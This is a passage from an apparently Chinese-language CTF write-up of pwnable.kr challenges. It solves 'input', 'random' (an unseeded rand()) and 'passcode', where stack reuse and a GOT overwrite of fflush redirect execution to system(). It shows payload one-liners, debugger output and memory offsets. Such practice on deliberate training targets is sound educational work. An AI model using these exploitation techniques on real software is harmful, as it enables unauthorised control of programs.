FILE* fp = fopen("\x0a", "w");
fwrite("\x00\x00\x00\x00", 4, 1, fp);
fclose(fp);

execve("/home/input2/input", args, environ);
}
}

编译直接运行,并不会输出flag,因为在当前目录下没有flag文件,因此我们需要创建一个链接到flag文件。

1
2
3
4
5
6
7
8
9
input2@pwnable:/tmp/input_own$ ./input
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
Stage 1 clear!
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Stage 5 clear!

如下:

1
2
3
4
5
6
7
8
9
10
11
input2@pwnable:/tmp/input_own$ ln -sf /home/input2/flag flag
input2@pwnable:/tmp/input_own$ ./input
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
Stage 1 clear!
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Stage 5 clear!
Mommy! I learned how to pass various input in Linux :)

知识点小结

  • args参数、envs环境变量,两个变量类型都是字符串指针数组,其中的每一个元素都指向一个字符串,而且每一个元素的值都不为空(除了最后一个元素)
  • socket、pipe编程在网络编程中会经常被使用到;pipe、dup2在AFL的源码中也有被使用到,用于将测试数据喂到fork出来的目标程序子进程的标准输入中。

1
2
3
Daddy, teach me how to use random value in programming!

ssh random@pwnable.kr -p2222 (pw:guest)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
random@pwnable:~$ ls -al
total 40
drwxr-x--- 5 root random 4096 Oct 23 2016 .
drwxr-xr-x 117 root root 4096 Nov 10 2022 ..
d--------- 2 root root 4096 Jun 30 2014 .bash_history
dr-xr-xr-x 2 root root 4096 Aug 20 2014 .irssi
drwxr-xr-x 2 root root 4096 Oct 23 2016 .pwntools-cache
-r--r----- 1 random_pwn root 49 Jun 30 2014 flag
-r-sr-x--- 1 random_pwn random 8538 Jun 30 2014 random
-rw-r--r-- 1 root root 301 Jun 30 2014 random.c

random@pwnable:~$ cat random.c
#include <stdio.h>

int main(){
unsigned int random;
random = rand(); // random value!

unsigned int key=0;
scanf("%d", &key);

if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}

printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}

使用rand函数前没有使用srand设置随机数种子seed,那么只要编译一个类似的程序就可以获得默认seed、rand产生的随机数值了。

在目录/tmp/创建一个自己账号的文件夹own,然后新增一个randm.c如下,使用gcc编译后可以获得默认seed产生的第一个随机数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
random@pwnable:/tmp/own$ cat random.c
#include <stdio.h>

int main(){
unsigned int random;
random = rand(); // random value!
printf("random=%d", random);
return 0;
}

random@pwnable:/tmp/own$ gcc random.c -o random
random.c: In function ‘main’:
random.c:5:11: warning: implicit declaration of function ‘rand’ [-Wimplicit-function-declaration]
random = rand(); // random value!
^
random@pwnable:/tmp/own$ ./random
random=1804289383

接下来就是计算key值:

1
2
key ^ random == 0xdeadbeef
key = random ^ 0xdeadbeef = 1804289383 ^ 0x0xdeadbeef = 0xB526FB88 = 3039230856
1
2
3
4
5
random@pwnable:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable...
random@pwnable:~$

知识点

Linux下使用rand函数会返回一个随机值,范围从0到RAND_MAX。在使用的时候必须提前使用srand设置好随机数种子seed,如果没有设置seed,rand在调用的时候会自动设置seed为1,此时rand函数产生的随机数值就会一样。日常使用中,通常使用getpid或者time的返回值来作为seed。pwnable这道题目中就是因为没有设置seed,导致rand产生的随机数可以被获取。使用相同的种子调用rand函数,会产生相同的随机数序列。

如下是一个正确的随机数序列生成代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
int i, n;
srand(time(0)); // 设置随机数种子为当前时间

printf("请输入要生成的随机数个数:");
scanf("%d", &n);

printf("随机数序列:");
for (i = 0; i < n; i++) {
printf("%d ", rand());
}

return 0;
}

1
2
3
4
Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!

ssh col@pwnable.kr -p2222 (pw:guest)

登录上,一开始我是没有意识到这个代码里面有什么错误,输入用户名之后,继续输入passcode1。我输入了338150,然后直接报错segment fault了?!怎么会呢,输入怎么会有错。

后面仔细看才发现,scanf的时候,没有取地址&。那scanf的效果实际上是:写入值到地址=passcode1的值的内存中,即[passcode1]地址处的内存,写入值。

如果能够提前控制passcode1的值(栈变量),或许就可以达到任意地址写入的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

编译:

1
2
3
4
5
6
7
8
9
10
11
12
13
passcode.c: In function ‘login’:
passcode.c:9:17: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
9 | scanf("%d", passcode1);
| ~^ ~~~~~~~~~
| | |
| | int
| int *
passcode.c:14:13: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
14 | scanf("%d", passcode2);
| ~^ ~~~~~~~~~
| | |
| | int
| int *

似乎懂一点意思了,应该是上一个函数welcome栈中局部变量可控,下一个函数login中复用了栈,但是栈中的内容没有被清零,因此只要分析函数welcome中的局部变量name和login函数中的passcode1和passcode2在栈中的空间关系,就可以先在函数welcom中控制passcode1或者passcode2的值,也就是控制任意写的地址。然后在函数login中通过scanf的错误写法,控制任意写的值,最后就达到了任意地址写入的目的。

本质原因是因为这两个函数都是由main函数调用的,而且两个函数的传参数量都一样(都是0),因此两个函数的栈帧也是相同的。如果遇到传参不同或者不同步调用,也可以分析出来偏移关系。

如下是调试的时候,函数welcome和函数login的栈布局,可以看到函数栈的起始地址都是相同的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> info frame 0
Stack frame at 0xffffd220:
eip = 0x8048609 in welcome; saved eip = 0x804867f
called by frame at 0xffffd240
Arglist at 0xffffd218, args:
Locals at 0xffffd218, Previous frame's sp is 0xffffd220
Saved registers:
eip at 0xffffd21c

pwndbg> info frame 0
Stack frame at 0xffffd220:
eip = 0x8048564 in login; saved eip = 0x8048684
called by frame at 0xffffd240
Arglist at 0xffffd218, args:
Locals at 0xffffd218, Previous frame's sp is 0xffffd220
Saved registers:
eip at 0xffffd21c

分析函数welcom中的局部变量name的地址=ebp-0x70;

1
2
3
4
5
  0x804862a <welcome+33>    mov    eax, 0x80487dd
0x804862f <welcome+38> lea edx, [ebp - 0x70]
0x8048632 <welcome+41> mov dword ptr [esp + 4], edx
0x8048636 <welcome+45> mov dword ptr [esp], eax
► 0x8048639 <welcome+48> call __isoc99_scanf@plt <__isoc99_scanf@plt>

分析函数login中的局部变量passcode1的地址=ebp-0x10,passcode2的地址是ebp-0xc;

1
2
3
4
5
6
7
8
9
10
11
  0x8048577 <login+19>    mov    eax, 0x8048783
0x804857c <login+24> mov edx, dword ptr [ebp - 0x10]
0x804857f <login+27> mov dword ptr [esp + 4], edx
0x8048583 <login+31> mov dword ptr [esp], eax
► 0x8048586 <login+34> call __isoc99_scanf@plt <__isoc99_scanf@plt>

0x80485a5 <login+65> mov eax, 0x8048783
0x80485aa <login+70> mov edx, dword ptr [ebp - 0xc]
0x80485ad <login+73> mov dword ptr [esp + 4], edx
0x80485b1 <login+77> mov dword ptr [esp], eax
► 0x80485b4 <login+80> call __isoc99_scanf@plt <__isoc99_scanf@plt>

经过简单的计算,name和passcode1的偏移是96,和passcode2的偏移是100。而name长度最多是100,那么就考虑先使用name控制passcode1中的初始值。

也就是,获取了一个任意地址4字节写入的能力。

利用

利用方式可以考虑plt劫持,可以就近在输入完毕passcode1后,劫持fflush函数到执行system输入flag的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> plt
Section .plt 0x8048410-0x80484b0:
0x8048420: printf@plt
0x8048430: fflush@plt
0x8048440: __stack_chk_fail@plt
0x8048450: puts@plt
0x8048460: system@plt
0x8048470: __gmon_start__@plt
0x8048480: exit@plt
0x8048490: __libc_start_main@plt
0x80484a0: __isoc99_scanf@plt

pwndbg> x/3i *fflush
0x8048430 <fflush@plt>: jmp DWORD PTR ds:0x804a004
0x8048436 <fflush@plt+6>: push 0x8
0x804843b <fflush@plt+11>: jmp 0x8048410

exp如下:

1
2
python3 -c "import sys; sys.stdout.buffer.write(b'A' * 96 + b'\x04\xa0\x04\x08' + b'134514147')" > ./payload
python -c "print '\x01'*96 + '\x04\xa0\x04\x08' + '134514147'" | ./passcode

知识点小结

全局偏移表(GOT,global offset table)的作用是将位置独立的地址重定向到绝对地址;函数连接表(PLT,procedure linkage table)的作用是将位置独立的函数调用重定向到绝对地址。

调用函数fflush的时候,实际上并不是直接到flush的代码去执行,而是根据fflush查询到plt表中,jmp跳转到ds:off_804A004,也就是到got.plt表中,此时这个表中已经填充好了fflush函数的绝对地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.plt:08048430 ; int fflush(FILE *stream)
.plt:08048430 _fflush proc near ; CODE XREF: login+2F↓p
.plt:08048430
.plt:08048430 stream = dword ptr 4
.plt:08048430
.plt:08048430 jmp ds:off_804A004
.plt:08048430 _fflush endp

.got.plt:0804A000 off_804A000 dd offset printf ; DATA XREF: _printf↑r
.got.plt:0804A004 off_804A004 dd offset fflush ; DATA XREF: _fflush↑r
.got.plt:0804A008 off_804A008 dd offset __stack_chk_fail
.got.plt:0804A008 ; DATA XREF: ___stack_chk_fail↑r
.got.plt:0804A00C off_804A00C dd offset puts ; DATA XREF: _puts↑r
.got.plt:0804A010 off_804A010 dd offset system ; DATA XREF: _system↑r
.got.plt:0804A014 off_804A014 dd offset __gmon_start__
.got.plt:0804A014 ; DATA XREF: ___gmon_start__↑r